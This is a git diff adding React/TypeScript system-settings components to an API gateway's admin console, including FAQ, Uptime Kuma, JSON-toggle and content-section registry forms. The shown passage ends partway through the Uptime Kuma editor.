+                  <FormItem className='flex flex-row items-start justify-between rounded-lg border p-4'>
+                    <div className='space-y-0.5 pe-4'>
+                      <FormLabel className='text-base'>{item.label}</FormLabel>
+                      <FormDescription>{item.description}</FormDescription>
+                    </div>
+                    <FormControl>
+                      <Switch
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            ))}
+          </div>
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending
+              ? t('Saving...')
+              : t('Save drawing settings')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/faq-section.tsx b/new-api/web/default/src/features/system-settings/content/faq-section.tsx
new file mode 100644
index 0000000..469ec7f
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/faq-section.tsx
@@ -0,0 +1,433 @@
+import { useEffect, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { Plus, Edit, Trash2, Save } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+type FAQ = {
+  id: number
+  question: string
+  answer: string
+}
+
+type FAQSectionProps = {
+  enabled: boolean
+  data: string
+}
+
+const faqSchema = z.object({
+  question: z
+    .string()
+    .min(1, 'Question is required')
+    .max(200, 'Question must be less than 200 characters'),
+  answer: z
+    .string()
+    .min(1, 'Answer is required')
+    .max(1000, 'Answer must be less than 1000 characters'),
+})
+
+type FAQFormValues = z.infer<typeof faqSchema>
+
+export function FAQSection({ enabled, data }: FAQSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [faqList, setFaqList] = useState<FAQ[]>([])
+  const [isEnabled, setIsEnabled] = useState(enabled)
+  const [hasChanges, setHasChanges] = useState(false)
+  const [selectedIds, setSelectedIds] = useState<number[]>([])
+  const [showDialog, setShowDialog] = useState(false)
+  const [showDeleteDialog, setShowDeleteDialog] = useState(false)
+  const [editingFaq, setEditingFaq] = useState<FAQ | null>(null)
+  const [deleteTarget, setDeleteTarget] = useState<'single' | 'batch'>('single')
+
+  const form = useForm<FAQFormValues>({
+    resolver: zodResolver(faqSchema),
+    defaultValues: {
+      question: '',
+      answer: '',
+    },
+  })
+
+  useEffect(() => {
+    try {
+      const parsed = JSON.parse(data || '[]')
+      if (Array.isArray(parsed)) {
+        setFaqList(
+          parsed.map((item, idx) => ({
+            ...item,
+            id: item.id || idx + 1,
+          }))
+        )
+      }
+    } catch {
+      setFaqList([])
+    }
+  }, [data])
+
+  useEffect(() => {
+    setIsEnabled(enabled)
+  }, [enabled])
+
+  const handleToggleEnabled = async (checked: boolean) => {
+    try {
+      await updateOption.mutateAsync({
+        key: 'console_setting.faq_enabled',
+        value: checked,
+      })
+      setIsEnabled(checked)
+      toast.success(t('Setting saved'))
+    } catch {
+      toast.error(t('Failed to update setting'))
+    }
+  }
+
+  const handleAdd = () => {
+    setEditingFaq(null)
+    form.reset({
+      question: '',
+      answer: '',
+    })
+    setShowDialog(true)
+  }
+
+  const handleEdit = (faq: FAQ) => {
+    setEditingFaq(faq)
+    form.reset({
+      question: faq.question,
+      answer: faq.answer,
+    })
+    setShowDialog(true)
+  }
+
+  const handleDelete = (faq: FAQ) => {
+    setEditingFaq(faq)
+    setDeleteTarget('single')
+    setShowDeleteDialog(true)
+  }
+
+  const handleBatchDelete = () => {
+    if (selectedIds.length === 0) {
+      toast.error(t('Please select items to delete'))
+      return
+    }
+    setDeleteTarget('batch')
+    setShowDeleteDialog(true)
+  }
+
+  const confirmDelete = () => {
+    if (deleteTarget === 'single' && editingFaq) {
+      setFaqList((prev) => prev.filter((item) => item.id !== editingFaq.id))
+      setHasChanges(true)
+      toast.success(t('FAQ deleted. Click "Save Settings" to apply.'))
+    } else if (deleteTarget === 'batch') {
+      setFaqList((prev) =>
+        prev.filter((item) => !selectedIds.includes(item.id))
+      )
+      setSelectedIds([])
+      setHasChanges(true)
+      toast.success(
+        t('{{count}} FAQs deleted. Click "Save Settings" to apply.', {
+          count: selectedIds.length,
+        })
+      )
+    }
+    setShowDeleteDialog(false)
+    setEditingFaq(null)
+  }
+
+  const handleSubmitForm = (values: FAQFormValues) => {
+    if (editingFaq) {
+      setFaqList((prev) =>
+        prev.map((item) =>
+          item.id === editingFaq.id ? { ...item, ...values } : item
+        )
+      )
+      toast.success(t('FAQ updated. Click "Save Settings" to apply.'))
+    } else {
+      const newId = Math.max(...faqList.map((item) => item.id), 0) + 1
+      setFaqList((prev) => [...prev, { id: newId, ...values }])
+      toast.success(t('FAQ added. Click "Save Settings" to apply.'))
+    }
+    setHasChanges(true)
+    setShowDialog(false)
+  }
+
+  const handleSaveAll = async () => {
+    try {
+      await updateOption.mutateAsync({
+        key: 'console_setting.faq',
+        value: JSON.stringify(faqList),
+      })
+      setHasChanges(false)
+      toast.success(t('FAQ saved successfully'))
+    } catch {
+      toast.error(t('Failed to save FAQ'))
+    }
+  }
+
+  const toggleSelectAll = (checked: boolean) => {
+    setSelectedIds(checked ? faqList.map((item) => item.id) : [])
+  }
+
+  const toggleSelectOne = (id: number, checked: boolean) => {
+    setSelectedIds((prev) =>
+      checked ? [...prev, id] : prev.filter((item) => item !== id)
+    )
+  }
+
+  return (
+    <SettingsSection
+      title={t('FAQ')}
+      description={t(
+        'Maintain a list of common questions for the dashboard help panel'
+      )}
+    >
+      <div className='space-y-4'>
+        <div className='flex flex-wrap items-center justify-between gap-2'>
+          <div className='flex flex-wrap items-center gap-2'>
+            <Button onClick={handleAdd} size='sm'>
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add FAQ')}
+            </Button>
+            <Button
+              onClick={handleBatchDelete}
+              size='sm'
+              variant='destructive'
+              disabled={selectedIds.length === 0}
+            >
+              <Trash2 className='mr-2 h-4 w-4' />
+              {t('Delete (')}
+              {selectedIds.length})
+            </Button>
+            <Button
+              onClick={handleSaveAll}
+              size='sm'
+              variant='secondary'
+              disabled={!hasChanges || updateOption.isPending}
+            >
+              <Save className='mr-2 h-4 w-4' />
+              {updateOption.isPending ? t('Saving...') : t('Save Settings')}
+            </Button>
+          </div>
+          <div className='flex items-center gap-2'>
+            <span className='text-muted-foreground text-sm'>
+              {t('Enabled')}
+            </span>
+            <Switch checked={isEnabled} onCheckedChange={handleToggleEnabled} />
+          </div>
+        </div>
+
+        <div className='rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className='w-12'>
+                  <Checkbox
+                    checked={
+                      selectedIds.length === faqList.length &&
+                      faqList.length > 0
+                    }
+                    onCheckedChange={toggleSelectAll}
+                  />
+                </TableHead>
+                <TableHead>{t('Question')}</TableHead>
+                <TableHead>{t('Answer')}</TableHead>
+                <TableHead className='w-32'>{t('Actions')}</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {faqList.length === 0 ? (
+                <TableRow>
+                  <TableCell colSpan={4} className='h-24 text-center'>
+                    {t('No FAQ entries yet. Click "Add FAQ" to create one.')}
+                  </TableCell>
+                </TableRow>
+              ) : (
+                faqList.map((faq) => (
+                  <TableRow key={faq.id}>
+                    <TableCell>
+                      <Checkbox
+                        checked={selectedIds.includes(faq.id)}
+                        onCheckedChange={(checked) =>
+                          toggleSelectOne(faq.id, checked as boolean)
+                        }
+                      />
+                    </TableCell>
+                    <TableCell
+                      className='max-w-xs truncate font-medium'
+                      title={faq.question}
+                    >
+                      {faq.question}
+                    </TableCell>
+                    <TableCell
+                      className='text-muted-foreground max-w-md truncate'
+                      title={faq.answer}
+                    >
+                      {faq.answer}
+                    </TableCell>
+                    <TableCell>
+                      <div className='flex gap-2'>
+                        <Button
+                          onClick={() => handleEdit(faq)}
+                          size='sm'
+                          variant='ghost'
+                        >
+                          <Edit className='h-4 w-4' />
+                        </Button>
+                        <Button
+                          onClick={() => handleDelete(faq)}
+                          size='sm'
+                          variant='ghost'
+                        >
+                          <Trash2 className='h-4 w-4' />
+                        </Button>
+                      </div>
+                    </TableCell>
+                  </TableRow>
+                ))
+              )}
+            </TableBody>
+          </Table>
+        </div>
+      </div>
+
+      <Dialog open={showDialog} onOpenChange={setShowDialog}>
+        <DialogContent className='max-w-2xl'>
+          <DialogHeader>
+            <DialogTitle>
+              {editingFaq ? t('Edit FAQ') : t('Add FAQ')}
+            </DialogTitle>
+            <DialogDescription>
+              {t('Create or update frequently asked questions for users')}
+            </DialogDescription>
+          </DialogHeader>
+          <Form {...form}>
+            <form
+              onSubmit={form.handleSubmit(handleSubmitForm)}
+              className='space-y-4'
+            >
+              <FormField
+                control={form.control}
+                name='question'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Question')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('How to reset my quota?')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Maximum 200 characters')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='answer'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Answer')}</FormLabel>
+                    <FormControl>
+                      <Textarea
+                        placeholder={t(
+                          'Visit Settings → General and adjust quota options...'
+                        )}
+                        rows={8}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Maximum 1000 characters. Supports Markdown and HTML.'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <DialogFooter>
+                <Button
+                  type='button'
+                  variant='outline'
+                  onClick={() => setShowDialog(false)}
+                >
+                  {t('Cancel')}
+                </Button>
+                <Button type='submit'>
+                  {editingFaq ? t('Update') : t('Add')}
+                </Button>
+              </DialogFooter>
+            </form>
+          </Form>
+        </DialogContent>
+      </Dialog>
+
+      <AlertDialog open={showDeleteDialog} onOpenChange={setShowDeleteDialog}>
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>{t('Are you sure?')}</AlertDialogTitle>
+            <AlertDialogDescription>
+              {deleteTarget === 'single'
+                ? 'This FAQ entry will be removed from the list.'
+                : `${selectedIds.length} FAQ entries will be removed from the list.`}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>{t('Cancel')}</AlertDialogCancel>
+            <AlertDialogAction onClick={confirmDelete}>
+              {t('Delete')}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/index.tsx b/new-api/web/default/src/features/system-settings/content/index.tsx
new file mode 100644
index 0000000..31577d5
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/index.tsx
@@ -0,0 +1,112 @@
+import { useMemo } from 'react'
+import { useParams } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { getOptionValue, useSystemOptions } from '../hooks/use-system-options'
+import type { ContentSettings } from '../types'
+import {
+  CONTENT_DEFAULT_SECTION,
+  getContentSectionContent,
+} from './section-registry.tsx'
+
+const defaultContentSettings: ContentSettings = {
+  'console_setting.api_info': '[]',
+  'console_setting.announcements': '[]',
+  'console_setting.faq': '[]',
+  'console_setting.uptime_kuma_groups': '[]',
+  'console_setting.api_info_enabled': true,
+  'console_setting.announcements_enabled': true,
+  'console_setting.faq_enabled': true,
+  'console_setting.uptime_kuma_enabled': false,
+  DataExportEnabled: false,
+  DataExportDefaultTime: 'hour',
+  DataExportInterval: 5,
+  Chats: '[]',
+  DrawingEnabled: false,
+  MjNotifyEnabled: false,
+  MjAccountFilterEnabled: false,
+  MjForwardUrlEnabled: false,
+  MjModeClearEnabled: false,
+  MjActionCheckSuccessEnabled: false,
+}
+
+export function ContentSettings() {
+  const { t } = useTranslation()
+  const { data, isLoading } = useSystemOptions()
+  const params = useParams({
+    from: '/_authenticated/system-settings/content/$section',
+  })
+
+  const settings = useMemo(() => {
+    const resolved = getOptionValue(data?.data, defaultContentSettings)
+
+    const optionMap = new Map(
+      (data?.data ?? []).map((item) => [item.key, item.value])
+    )
+
+    if (!optionMap.has('console_setting.announcements')) {
+      const legacy = optionMap.get('Announcements')
+      if (legacy !== undefined) {
+        resolved['console_setting.announcements'] = legacy
+      }
+    }
+
+    if (!optionMap.has('console_setting.api_info')) {
+      const legacy = optionMap.get('ApiInfo')
+      if (legacy !== undefined) {
+        resolved['console_setting.api_info'] = legacy
+      }
+    }
+
+    if (!optionMap.has('console_setting.faq')) {
+      const legacy = optionMap.get('FAQ')
+      if (legacy !== undefined) {
+        resolved['console_setting.faq'] = legacy
+      }
+    }
+
+    if (!optionMap.has('console_setting.uptime_kuma_groups')) {
+      const legacyUrl = optionMap.get('UptimeKumaUrl')
+      const legacySlug = optionMap.get('UptimeKumaSlug')
+      if (legacyUrl && legacySlug) {
+        resolved['console_setting.uptime_kuma_groups'] = JSON.stringify([
+          {
+            id: 1,
+            categoryName: 'Legacy',
+            url: legacyUrl,
+            slug: legacySlug,
+          },
+        ])
+      }
+    }
+
+    return resolved
+  }, [data?.data])
+
+  if (isLoading) {
+    return (
+      <div className='flex items-center justify-center py-12'>
+        <div className='text-muted-foreground'>
+          {t('Loading content settings...')}
+        </div>
+      </div>
+    )
+  }
+
+  const activeSection = (params?.section ?? CONTENT_DEFAULT_SECTION) as
+    | 'dashboard'
+    | 'announcements'
+    | 'api-info'
+    | 'faq'
+    | 'uptime-kuma'
+    | 'chat'
+    | 'drawing'
+  const sectionContent = getContentSectionContent(activeSection, settings)
+
+  return (
+    <div className='flex h-full w-full flex-1 flex-col'>
+      <div className='faded-bottom h-full w-full overflow-y-auto scroll-smooth pe-4 pb-12'>
+        <div className='space-y-4'>{sectionContent}</div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/json-toggle-section.tsx b/new-api/web/default/src/features/system-settings/content/json-toggle-section.tsx
new file mode 100644
index 0000000..fce471e
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/json-toggle-section.tsx
@@ -0,0 +1,196 @@
+import { useEffect, useMemo, useRef } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsAccordion } from '../components/settings-accordion'
+import { useUpdateOption } from '../hooks/use-update-option'
+import { formatJsonForEditor, normalizeJsonString } from './utils'
+
+type JsonToggleSectionProps = {
+  value: string
+  title: string
+  description?: string
+  toggleDescription?: string
+  optionKey: string
+  enabledKey: string
+  defaultEnabled: boolean
+  defaultValue: string
+  fallbackValue?: string
+  textareaLabel: string
+  textareaDescription?: string
+  placeholder?: string
+  example?: string
+  submitLabel?: string
+  validate?: (parsed: unknown) => { valid: boolean; message?: string }
+}
+
+type JsonToggleFormValues = {
+  enabled: boolean
+  json: string
+}
+
+export function JsonToggleSection({
+  value,
+  title,
+  description,
+  toggleDescription,
+  optionKey,
+  enabledKey,
+  defaultEnabled,
+  defaultValue,
+  fallbackValue = '[]',
+  textareaLabel,
+  textareaDescription,
+  placeholder,
+  example,
+  submitLabel = 'Save Changes',
+  validate,
+}: JsonToggleSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const formattedDefault = useMemo(
+    () => formatJsonForEditor(defaultValue, fallbackValue),
+    [defaultValue, fallbackValue]
+  )
+
+  const form = useForm<JsonToggleFormValues>({
+    mode: 'onChange', // Enable real-time validation
+    resolver: zodResolver(
+      z.object({
+        enabled: z.boolean(),
+        json: z.string().superRefine((value, ctx) => {
+          try {
+            const normalized = normalizeJsonString(value, fallbackValue)
+            const parsed = JSON.parse(normalized)
+            if (validate) {
+              const result = validate(parsed)
+              if (!result.valid) {
+                ctx.addIssue({
+                  code: z.ZodIssueCode.custom,
+                  message:
+                    result.message ||
+                    'JSON structure is invalid for this setting',
+                })
+              }
+            }
+          } catch (error: unknown) {
+            ctx.addIssue({
+              code: z.ZodIssueCode.custom,
+              message:
+                (error instanceof Error ? error.message : null) ||
+                'Invalid JSON data',
+            })
+          }
+        }),
+      })
+    ),
+    defaultValues: {
+      enabled: defaultEnabled,
+      json: formattedDefault,
+    },
+  })
+
+  const initialNormalizedRef = useRef(
+    normalizeJsonString(defaultValue, fallbackValue)
+  )
+  const initialEnabledRef = useRef(defaultEnabled)
+
+  useEffect(() => {
+    initialNormalizedRef.current = normalizeJsonString(
+      defaultValue,
+      fallbackValue
+    )
+    initialEnabledRef.current = defaultEnabled
+    form.reset({
+      enabled: defaultEnabled,
+      json: formatJsonForEditor(defaultValue, fallbackValue),
+    })
+  }, [defaultEnabled, defaultValue, fallbackValue, form])
+
+  const onSubmit = async (values: JsonToggleFormValues) => {
+    const updates: Array<{ key: string; value: string | boolean }> = []
+
+    if (values.enabled !== initialEnabledRef.current) {
+      updates.push({ key: enabledKey, value: values.enabled })
+    }
+
+    const normalized = normalizeJsonString(values.json, fallbackValue)
+    if (normalized !== initialNormalizedRef.current) {
+      updates.push({ key: optionKey, value: normalized })
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  return (
+    <SettingsAccordion value={value} title={title} description={description}>
+      <Form {...form}>
+        {/* eslint-disable-next-line react-hooks/refs */}
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Module availability')}
+                  </FormLabel>
+                  {toggleDescription && (
+                    <FormDescription>{t(toggleDescription)}</FormDescription>
+                  )}
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='json'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{textareaLabel}</FormLabel>
+                <FormControl>
+                  <Textarea rows={12} placeholder={placeholder} {...field} />
+                </FormControl>
+                {textareaDescription && (
+                  <FormDescription>{t(textareaDescription)}</FormDescription>
+                )}
+                {example && (
+                  <div className='text-muted-foreground text-xs'>{example}</div>
+                )}
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t(submitLabel)}
+          </Button>
+        </form>
+      </Form>
+    </SettingsAccordion>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/section-registry.tsx b/new-api/web/default/src/features/system-settings/content/section-registry.tsx
new file mode 100644
index 0000000..7fac444
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/section-registry.tsx
@@ -0,0 +1,125 @@
+import type { ContentSettings } from '../types'
+import { createSectionRegistry } from '../utils/section-registry'
+import { AnnouncementsSection } from './announcements-section'
+import { ApiInfoSection } from './api-info-section'
+import { ChatSettingsSection } from './chat-settings-section'
+import { DashboardSection } from './dashboard-section'
+import { DrawingSettingsSection } from './drawing-settings-section'
+import { FAQSection } from './faq-section'
+import { UptimeKumaSection } from './uptime-kuma-section'
+
+/**
+ * Validate and coerce DataExportDefaultTime to a safe value
+ */
+function validateDataExportDefaultTime(value: string): 'week' | 'hour' | 'day' {
+  if (value === 'week' || value === 'hour' || value === 'day') {
+    return value
+  }
+  // Default to 'hour' if value is unexpected
+  return 'hour'
+}
+
+const CONTENT_SECTIONS = [
+  {
+    id: 'dashboard',
+    titleKey: 'Data Dashboard',
+    descriptionKey: 'Configure data export settings for dashboard',
+    build: (settings: ContentSettings) => (
+      <DashboardSection
+        defaultValues={{
+          DataExportEnabled: settings.DataExportEnabled,
+          DataExportInterval: settings.DataExportInterval,
+          DataExportDefaultTime: validateDataExportDefaultTime(
+            settings.DataExportDefaultTime
+          ),
+        }}
+      />
+    ),
+  },
+  {
+    id: 'announcements',
+    titleKey: 'Announcements',
+    descriptionKey: 'Configure system announcements',
+    build: (settings: ContentSettings) => (
+      <AnnouncementsSection
+        enabled={settings['console_setting.announcements_enabled']}
+        data={settings['console_setting.announcements']}
+      />
+    ),
+  },
+  {
+    id: 'api-info',
+    titleKey: 'API Addresses',
+    descriptionKey: 'Configure API information display',
+    build: (settings: ContentSettings) => (
+      <ApiInfoSection
+        enabled={settings['console_setting.api_info_enabled']}
+        data={settings['console_setting.api_info']}
+      />
+    ),
+  },
+  {
+    id: 'faq',
+    titleKey: 'FAQ',
+    descriptionKey: 'Configure frequently asked questions',
+    build: (settings: ContentSettings) => (
+      <FAQSection
+        enabled={settings['console_setting.faq_enabled']}
+        data={settings['console_setting.faq']}
+      />
+    ),
+  },
+  {
+    id: 'uptime-kuma',
+    titleKey: 'Uptime Kuma',
+    descriptionKey: 'Configure Uptime Kuma monitoring integration',
+    build: (settings: ContentSettings) => (
+      <UptimeKumaSection
+        enabled={settings['console_setting.uptime_kuma_enabled']}
+        data={settings['console_setting.uptime_kuma_groups']}
+      />
+    ),
+  },
+  {
+    id: 'chat',
+    titleKey: 'Chat Presets',
+    descriptionKey: 'Configure chat-related settings',
+    build: (settings: ContentSettings) => (
+      <ChatSettingsSection defaultValue={settings.Chats} />
+    ),
+  },
+  {
+    id: 'drawing',
+    titleKey: 'Drawing',
+    descriptionKey: 'Configure drawing and Midjourney settings',
+    build: (settings: ContentSettings) => (
+      <DrawingSettingsSection
+        defaultValues={{
+          DrawingEnabled: settings.DrawingEnabled,
+          MjNotifyEnabled: settings.MjNotifyEnabled,
+          MjAccountFilterEnabled: settings.MjAccountFilterEnabled,
+          MjForwardUrlEnabled: settings.MjForwardUrlEnabled,
+          MjModeClearEnabled: settings.MjModeClearEnabled,
+          MjActionCheckSuccessEnabled: settings.MjActionCheckSuccessEnabled,
+        }}
+      />
+    ),
+  },
+] as const
+
+export type ContentSectionId = (typeof CONTENT_SECTIONS)[number]['id']
+
+const contentRegistry = createSectionRegistry<
+  ContentSectionId,
+  ContentSettings
+>({
+  sections: CONTENT_SECTIONS,
+  defaultSection: 'dashboard',
+  basePath: '/system-settings/content',
+  urlStyle: 'path',
+})
+
+export const CONTENT_SECTION_IDS = contentRegistry.sectionIds
+export const CONTENT_DEFAULT_SECTION = contentRegistry.defaultSection
+export const getContentSectionNavItems = contentRegistry.getSectionNavItems
+export const getContentSectionContent = contentRegistry.getSectionContent
diff --git a/new-api/web/default/src/features/system-settings/content/uptime-kuma-section.tsx b/new-api/web/default/src/features/system-settings/content/uptime-kuma-section.tsx
new file mode 100644
index 0000000..84f4ead
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/uptime-kuma-section.tsx
@@ -0,0 +1,461 @@
+import { useEffect, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { Plus, Edit, Trash2, Save } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+type UptimeKumaGroup = {
+  id: number
+  categoryName: string
+  url: string
+  slug: string
+}
+
+type UptimeKumaSectionProps = {
+  enabled: boolean
+  data: string
+}
+
+const createUptimeKumaSchema = (t: (key: string) => string) =>
+  z.object({
+    categoryName: z
+      .string()
+      .min(1, { error: t('Category name is required') })
+      .max(50, { error: t('Category name must be less than 50 characters') }),
+    url: z.string().url({ error: t('Must be a valid URL') }),
+    slug: z
+      .string()
+      .min(1, { error: t('Slug is required') })
+      .max(100, { error: t('Slug must be less than 100 characters') })
+      .regex(/^[a-zA-Z0-9_-]+$/, {
+        error: t(
+          'Slug can only contain letters, numbers, hyphens, and underscores'
+        ),
+      }),
+  })
+
+type UptimeKumaFormValues = z.infer<ReturnType<typeof createUptimeKumaSchema>>
+
+export function UptimeKumaSection({ enabled, data }: UptimeKumaSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const uptimeKumaSchema = createUptimeKumaSchema(t)
+  const [groups, setGroups] = useState<UptimeKumaGroup[]>([])
+  const [isEnabled, setIsEnabled] = useState(enabled)
+  const [hasChanges, setHasChanges] = useState(false)
+  const [selectedIds, setSelectedIds] = useState<number[]>([])
+  const [showDialog, setShowDialog] = useState(false)
+  const [showDeleteDialog, setShowDeleteDialog] = useState(false)
+  const [editingGroup, setEditingGroup] = useState<UptimeKumaGroup | null>(null)
+  const [deleteTarget, setDeleteTarget] = useState<'single' | 'batch'>('single')
+
+  const form = useForm<UptimeKumaFormValues>({
+    resolver: zodResolver(uptimeKumaSchema),
+    defaultValues: {
+      categoryName: '',
+      url: '',
+      slug: '',
+    },
+  })
+
+  useEffect(() => {
+    try {
+      const parsed = JSON.parse(data || '[]')
+      if (Array.isArray(parsed)) {
+        setGroups(
+          parsed.map((item, idx) => ({
+            ...item,
+            id: item.id || idx + 1,
+          }))
+        )
+      }
+    } catch {
+      setGroups([])
+    }
+  }, [data])
+
+  useEffect(() => {
+    setIsEnabled(enabled)
+  }, [enabled])
+
+  const handleToggleEnabled = async (checked: boolean) => {
+    try {
+      await updateOption.mutateAsync({
+        key: 'console_setting.uptime_kuma_enabled',
+        value: checked,
+      })
+      setIsEnabled(checked)
+      toast.success(t('Setting saved'))
+    } catch {
+      toast.error(t('Failed to update setting'))
+    }
+  }
+
+  const handleAdd = () => {
+    setEditingGroup(null)
+    form.reset({
+      categoryName: '',
+      url: '',
+      slug: '',
+    })
+    setShowDialog(true)
+  }
+
+  const handleEdit = (group: UptimeKumaGroup) => {
+    setEditingGroup(group)
+    form.reset({
+      categoryName: group.categoryName,
+      url: group.url,
+      slug: group.slug,
+    })
+    setShowDialog(true)
+  }
+
+  const handleDelete = (group: UptimeKumaGroup) => {
+    setEditingGroup(group)
+    setDeleteTarget('single')
+    setShowDeleteDialog(true)
+  }
+
+  const handleBatchDelete = () => {
+    if (selectedIds.length === 0) {
+      toast.error(t('Please select items to delete'))
+      return
+    }
+    setDeleteTarget('batch')
+    setShowDeleteDialog(true)
+  }
+
+  const confirmDelete = () => {
+    if (deleteTarget === 'single' && editingGroup) {
+      setGroups((prev) => prev.filter((item) => item.id !== editingGroup.id))
+      setHasChanges(true)
+      toast.success(t('Group deleted. Click "Save Settings" to apply.'))
+    } else if (deleteTarget === 'batch') {
+      setGroups((prev) => prev.filter((item) => !selectedIds.includes(item.id)))
+      setSelectedIds([])
+      setHasChanges(true)
+      toast.success(
+        t('{{count}} groups deleted. Click "Save Settings" to apply.', {
+          count: selectedIds.length,
+        })
+      )
+    }
+    setShowDeleteDialog(false)
+    setEditingGroup(null)
+  }
+
+  const handleSubmitForm = (values: UptimeKumaFormValues) => {
+    if (editingGroup) {
+      setGroups((prev) =>
+        prev.map((item) =>
+          item.id === editingGroup.id ? { ...item, ...values } : item
+        )
+      )
+      toast.success(t('Group updated. Click "Save Settings" to apply.'))
+    } else {
+      const newId = Math.max(...groups.map((item) => item.id), 0) + 1
+      setGroups((prev) => [...prev, { id: newId, ...values }])
+      toast.success(t('Group added. Click "Save Settings" to apply.'))
+    }
+    setHasChanges(true)
+    setShowDialog(false)
+  }
+
+  const handleSaveAll = async () => {
+    try {
+      await updateOption.mutateAsync({
+        key: 'console_setting.uptime_kuma_groups',
+        value: JSON.stringify(groups),
+      })
+      setHasChanges(false)
+      toast.success(t('Uptime Kuma groups saved successfully'))
+    } catch {
+      toast.error(t('Failed to save Uptime Kuma groups'))
+    }
+  }
+
+  const toggleSelectAll = (checked: boolean) => {
